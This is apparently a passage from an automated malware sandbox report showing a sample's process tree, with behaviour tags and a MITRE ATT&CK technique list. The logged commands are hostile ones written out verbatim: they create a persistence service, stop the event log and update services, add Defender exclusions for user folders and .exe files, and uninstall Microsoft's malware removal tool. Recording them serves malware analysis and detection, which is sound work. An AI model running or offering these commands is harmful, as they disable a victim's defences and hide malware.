C:\Windows\system32\sc.exe stop dosvc
4⤵
- Launches sc.exe
PID:1460

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
4⤵
PID:2616

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2156

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
4⤵
PID:5096

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
4⤵
PID:5036

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "WSNKISKT"
4⤵
- Launches sc.exe
PID:2152

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
4⤵
- Launches sc.exe
PID:408

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
4⤵
- Launches sc.exe
PID:312

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WSNKISKT"
4⤵
- Launches sc.exe
PID:3984

C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe
"C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe"
3⤵
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:2280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe" -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4972

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
4⤵
PID:4652

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
4⤵
PID:1044

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2312

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
4⤵
PID:5104

C:\Users\Admin\AppData\Local\Temp\1000217001\AppGate2103v01_16.exe
"C:\Users\Admin\AppData\Local\Temp\1000217001\AppGate2103v01_16.exe"
3⤵
- Modifies firewall policy service
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1068

C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
"C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:2340

C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
"C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:524

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:2876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:348

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4224

C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
"C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1704

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
- Executes dropped EXE
PID:884

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:2568

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:904

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:4364

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:3276

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:3912

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:1628

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:5036

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:4460

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4492

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:3324

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
PID:4276

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
PID:3936

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
PID:4836

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
PID:2868

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:3956

C:\Windows\explorer.exe
explorer.exe
2⤵
PID:1448

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
- Executes dropped EXE
PID:4400

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4484

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
- Executes dropped EXE
PID:4060

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
- Executes dropped EXE
PID:2912

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Virtualization/Sandbox Evasion

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

Virtualization/Sandbox Evasion

System Information Discovery